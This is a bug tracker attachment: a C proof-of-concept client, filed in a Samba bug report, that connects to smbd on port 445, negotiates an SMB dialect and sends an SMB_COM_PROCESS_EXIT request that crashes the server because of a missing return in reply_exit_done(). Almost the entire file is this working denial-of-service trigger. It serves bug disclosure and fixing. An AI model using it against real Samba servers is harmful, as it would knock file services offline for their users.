Attachment 17995 Details for Bug 15430 – client that sends an SMB_COM_PROCESS_EXIT that causes smbd to crash due to a missing return in reply_exit_done()

client that sends an SMB_COM_PROCESS_EXIT that causes smbd to crash due to a missing return in reply_exit_done()

smbd13a.c (text/x-csrc), 5.54 KB, created by Robert Morris on 2023-07-24 09:05:35 UTC

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Filename:

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Creator: Robert Morris

Created: 2023-07-24 09:05:35 UTC

Size: 5.54 KB

patch

obsolete

>#include <stdio.h>
>#include <string.h>
>#include <stdlib.h>
>#include <unistd.h>
>#include <sys/socket.h>
>#include <sys/ioctl.h>
>#include <netinet/in.h>
>#include <sys/wait.h>
>#include <sys/resource.h>
>#include <arpa/inet.h>
>#include <assert.h>
>#include <ctype.h>
>#include <fcntl.h>
>#include <signal.h>
>
>int s = -1;
>int uid = 0;
>int tid = 0;
>int fid = 0;
>
>int
>header(char *buf, int command)
>{
>  int ii = 0;
>
>  // SMB-over-TCP 4-byte header
>  buf[ii++] = 0; // must be zero
>  buf[ii++] = 0; // high byte of len
>  *(short*)(buf+ii) = htons(sizeof(buf)-4); // non-inclusive len, filled later
>  ii += 2;
>  
>  // 32-byte SMB header, MS-CIFS 2.2.3.1
>  buf[ii++] = 0xff;
>  buf[ii++] = 'S';
>  buf[ii++] = 'M';
>  buf[ii++] = 'B';
>  buf[ii++] = command;
>  buf[ii++] = 0; // status
>  buf[ii++] = 0; // status
>  buf[ii++] = 0; // status
>  buf[ii++] = 0; // status
>  buf[ii++] = 0; // flags
>  *(short*)(buf+ii) = 0; // flags2
>  ii += 2;
>  *(short*)(buf+ii) = 0; // PIDHigh
>  ii += 2;
>  ii += 8; // SecurityFeatures
>  *(short*)(buf+ii) = 0; // Reserved
>  ii += 2;
>  *(short*)(buf+ii) = tid; // TID
>  ii += 2;
>  *(short*)(buf+ii) = 0; // PIDLow
>  ii += 2;
>  *(short*)(buf+ii) = uid; // UID
>  ii += 2;
>  *(short*)(buf+ii) = 0; // MID
>  ii += 2;
>
>  return ii;
>}
>
>void
>negotiate()
>{
>  // SMB_COM_NEGOTIATE
>  {
>    char buf[128];
>    memset(buf, 1, sizeof(buf));
>
>    int ii = header(buf, 0x72);
>
>    // parameter block, MS-CIFS 2.2.3.2
>    int param_words = 0;
>    buf[ii++] = param_words; // number of 16-bit words of parameters
>    printf("parameters start at %d\n", ii);
>    ii += param_words*2;
>
>    // data block, MS-CIFS 2.2.3.3
>    // SMB_COM_NEGOTIATE MS-CIFS 2.2.4.52
>    int bci = ii;
>    *(short*)(buf+ii) = 0; // byte count including this len (to be filled in)
>    ii += 2;
>    buf[ii++] = 0x02; // BufferFormat
>    char *dialect = "NT LM 0.12"; // old-ish
>    memcpy(buf+ii, dialect, strlen(dialect) + 1);
>    ii += strlen(dialect) + 1;
>
>    *(short*)(buf+bci) = ii - bci - 2;
>
>    ii = sizeof(buf); // this works
>
>    *(short*)(buf+2) = htons(ii-4); // non-inclusive len
>
>    assert(ii <= sizeof(buf));
>
>    printf("negotiate writing %d bytes\n", ii); fflush(stdout);
>
>    if(write(s, buf, ii) <= 0){
>      perror("write");
>      exit(1);
>    }
>  }
>
>  {
>    // read negotiate response, MS-CIFS 2.2.4.52.2
>    unsigned char buf[1024];
>    memset(buf, 0, sizeof(buf));
>    int cc = read(s, buf, sizeof(buf));
>    printf("read %d for negotiate response (expecting 87)\n", cc);
>    printf("WordCount %d (expecting 17)\n", buf[36] & 0xff);
>    printf("DialectIndex %d (expecting 0)\n", *(short*)(buf+37));
>    printf("SecurityMode 0x%x (expecting 0x1)\n", buf[37+2]);
>  }
>}
>
>void
>smb_exit()
>{
>  // SMB_COM_PROCESS_EXIT, MS-CIFS 2.2.4.18
>  {
>    char buf[64];
>    memset(buf, 0xff, sizeof(buf));
>
>    int ii = header(buf, 0x11);
>
>    // parameter block
>    buf[ii++] = 0; // number of 16-bit words of parameters
>    // ii is 37 at this point
>
>    // data block
>    int bci = ii;
>    *(short*)(buf+ii) = 0; // byte count including this len (to be filled in)
>    ii += 2;
>
>    *(short*)(buf+bci) = ii - bci - 2;
>
>    ii = sizeof(buf);
>
>    *(short*)(buf+2) = htons(ii-4); // non-inclusive len
>
>    assert(ii <= sizeof(buf));
>
>    printf("smb_exit writing %d bytes\n", ii); fflush(stdout);
>
>    if(write(s, buf, ii) <= 0){
>      perror("write");
>      exit(1);
>    }
>  }
>
>  {
>    // read nt_create response
>    unsigned char buf[1024];
>    memset(buf, 0, sizeof(buf));
>    int cc = read(s, buf, sizeof(buf));
>    printf("read %d for smb_exit response\n", cc);
>  }
>}
>
>int
>main()
>{
>  //struct rlimit r;
>  //r.rlim_cur = r.rlim_max = 0;
>  //setrlimit(RLIMIT_CORE, &r);
>
>  int pid = -1;
>
>  signal(SIGPIPE, SIG_IGN);
>  signal(SIGTERM, SIG_IGN);
>
>#if 0
>  system("killall nmbd smbd");
>  sleep(1);
>
>#if SYM
>  // trick nmbd into thinking there is a non-local interface.
>  system("ifconfig tap0 create ; ifconfig tap0 9.0.0.1 up");
>  int tap0 = open("/dev/tap0", 2);
>  if(tap0 < 0) { perror("/dev/tap0"); exit(1); }
>  system("ifconfig");
>#endif
>
>  system("/usr/rtm/samba4/sbin/nmbd --help > /dev/null 2&>1");
>  system("/usr/rtm/samba4/sbin/smbd --help > /dev/null 2&>1");
>
>  system("rm -f /usr/rtm/samba4/var/cache/browse.dat");
>  system("rm -f /usr/rtm/samba4/private/msg.sock/*");
>  system("rm -f /usr/rtm/samba4/private/*.tdb");
>  system("rm -f /usr/rtm/samba4/var/lock/msg.lock/*");
>  system("rm -f /usr/rtm/samba4/var/locks/*");
>  system("rm -f /usr/rtm/samba4/var/lock/*");
>  system("chown root /usr/rtm/samba4/var/lock/msg.lock /usr/rtm/samba4/private/msg.sock");
>
>  // these are just the result of smbpasswd -a z, xxxxxxxx
>  system("cp -p /usr/rtm/passdb.tdb.precious /usr/rtm/samba4/private/passdb.tdb");
>  system("cp -p /usr/rtm/secrets.tdb.precious /usr/rtm/samba4/private/secrets.tdb");
>
>  system("rm -rf /tmp/smb ; mkdir /tmp/smb /tmp/smb/d");
>  system("echo 1 > /tmp/smb/1 ; echo 2 > /tmp/smb/d/2");
>  system("chmod ogu+rw /tmp/smb /tmp/smb/* /tmp/smb/*/*");
>
>  pid = fork();
>  if(pid == 0){
>    execl("/usr/rtm/samba4/sbin/smbd", "smbd", "--interactive", "--debuglevel=3", (void*)0);
>    perror("exec nmbd");
>    exit(1);
>  }
>#endif
>
>
>  struct sockaddr_in sin;
>  memset(&sin, 0, sizeof(sin));
>  sin.sin_family = AF_INET;
>  sin.sin_port = htons(445); // SMB over TCP
>  sin.sin_addr.s_addr = inet_addr("127.0.0.1");
>
>  while(1){
>    s = socket(AF_INET, SOCK_STREAM, 0);
>    if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) == 0)
>      break;
>    close(s);
>    sleep(1);
>  }
>
>  sleep(1);
>
>  negotiate();
>  smb_exit();
>
>  usleep(200000);
>  close(s);
>
>  int st = 0;
>  int xpid = wait(&st);
>  if(!WIFEXITED(st)){ printf("child %d crashed, wanted %d, st %d\n", xpid, pid, st); while(1){} }
>}

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Attachments on bug 15430: 17995 | 18043 | 18048 | 18049